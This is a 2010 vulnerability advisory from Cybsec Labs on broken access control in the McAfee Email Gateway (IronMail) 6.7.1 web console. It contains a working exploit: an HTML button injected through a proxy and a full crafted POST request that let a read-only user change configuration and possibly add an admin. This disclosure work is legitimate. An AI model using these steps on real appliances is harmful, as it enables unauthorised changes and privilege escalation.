



Advisory Name: Web Administration Broken Access Control in McAfee Email Gateway (formerly IronMail)

Vulnerability Class: Broken Access Control

Release Date: May 19, 2010

Affected Applications: Secure Mail (Ironmail) ver.6.7.1

Affected Platforms: FreeBSD 6.2 / Apache-Coyote 1.1

Local / Remote: Local

Severity: Medium – CVSS: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolia from Cybsec Labs

Vendor Status: Vendor was informed. A patch is being developed.

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Ironmail was found to allow Web Access users to execute arbitrary actions with Write rights, due to an improper profile check.

Exploit:

* In order to save changes in the Web Access Console, if the user can only READ, simply add the following piece of HTML code within the Form statement of the server response using, for example, a local proxy:

```
<tr class="buttonrow">
<td colspan="4" align="center">
<input type="submit" name="submitValue" value="Submit" title="Submit">
</td>
</tr>
```

This new button will enable you to complete the text boxes and submit the changes.

Also, a specially crafted POST method can be created to execute the same action. For example, in order to modify the Disclaimer, a logged-in user (without READ or WRITE privileges on that module) can execute the following method:

POST /admin/systemWebAdminConfig.do?method=save&pageId=13&isMenuToggled=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xhtml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer:
https://XXX.XXX.XXX.XXX:XXXXX/admin/systemWebAdminConfig.do?method=init&isMenuTog
gled=1&pageId=13
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: XXX.XXX.XXX.XXX:XXXXX
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:CTRGT=[YOUR COOKIE HERE]; CTSecureToken=[YOUR COOKIE HERE];
tabbedMenuSelected=13;
itemToHighlight=https%3A//XXX.XXX.XXX.XXX%3AXXXXX/admin/systemWebAdminConfig.do
%3Fmethod%3Dinit%26isMenuToggled%3D1%26pageId%3D13;
menusToExpand=ConfigurationMenu%2CCertificateManagementMenu%2CWebAdminConfiguration
Menu%2C; JSESSIONID=[YOUR COOKIE HERE]
Content-Length: 2650

pageId=13&vipId=0&vipBased=0&rows%5B0%5D.attr_name=gui_log_level&rows%5B0%5D.attr_ty
pe=12&rows%5B0%5D.attr_validate=30060003%3A1%2C30060004%3A4%2C30060005%3A5%2C
30060006%3A6&rows%5B0%5D.attr_validate_str=30060003%3A1%2C30060004%3A4%2C300600
05%3A5%2C30060006%3A6&rows%5B0%5D.attr_depends=&rows%5B0%5D.is_mult_val=0&rows
%5B0%5D.lang_tag_id_dv=2000003.displayValue&rows%5B0%5D.is_ascii_only=0&rows%5B0%5
D.proc_id=90&rows%5B0%5D.attr_value_clone=4&rows%5B0%5D.attr_value=4&rows%5B1%5D.a
ttr_name=gui_timeout&rows%5B1%5D.attr_type=2&rows%5B1%5D.attr_validate=%5B1-
30%5D&rows%5B1%5D.attr_validate_str=%5B1-
30%5D&rows%5B1%5D.attr_depends=&rows%5B1%5D.is_mult_val=0&rows%5B1%5D.lang_tag_i
d_dv=2001014.displayValue&rows%5B1%5D.is_ascii_only=0&rows%5B1%5D.proc_id=90&rows%5
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30%5D&rows%5B2%5D.attr_depends=&rows%5B2%5D.is_mult_val=0&rows%5B2%5D.lang_tag_i
d_dv=2001017.displayValue&rows%5B2%5D.is_ascii_only=0&rows%5B2%5D.proc_id=90&rows%5
B2%5D.attr_value_clone=10&rows%5B2%5D.attr_value=10&rows%5B3%5D.attr_name=enable_logi
n_disclaimer_text&rows%5B3%5D.attr_type=5&rows%5B3%5D.attr_validate=&rows%5B3%5D.attr
_validate_str=&rows%5B3%5D.attr_depends=&rows%5B3%5D.is_mult_val=0&rows%5B3%5D.lang
_tag_id_dv=2001044.displayValue&rows%5B3%5D.is_ascii_only=0&rows%5B3%5D.proc_id=90&r
ows%5B3%5D.attr_value_clone=true&rows%5B3%5D.attr_value=true&rows%5B4%5D.attr_name=l
ogin_disclaimer_text&rows%5B4%5D.attr_type=19&rows%5B4%5D.attr_validate=&rows%5B4%5D
.attr_validate_str=&rows%5B4%5D.attr_depends=enable_login_disclaimer_text&rows%5B4%5D.is_
mult_val=0&rows%5B4%5D.lang_tag_id_dv=2001045.displayValue&rows%5B4%5D.is_ascii_only=
0&rows%5B4%5D.proc_id=90&rows%5B4%5D.attr_value_clone=*****

*****%0D%0A%22NEW
DISCLAIMER.%22%0D%0A*****&ro
ws%5B4%5D.attr_value=*****%0D%0
A%22NEW
DISCLAIMER.%22%0D%0A*****&su
bmitValue=Submit

Impact:

Users with Web login access who have a vulnerable version of the appliance, can execute arbitrary actions with Write rights overwriting any property and configuration. Also, a new admin user might be added.

Vendor Response: Vendor has confirmed the vulnerability.

Contact Information:

For more information regarding the vulnerability feel free to contact Cybsec Labs at cybseclabs <at> cybsec <dot> com

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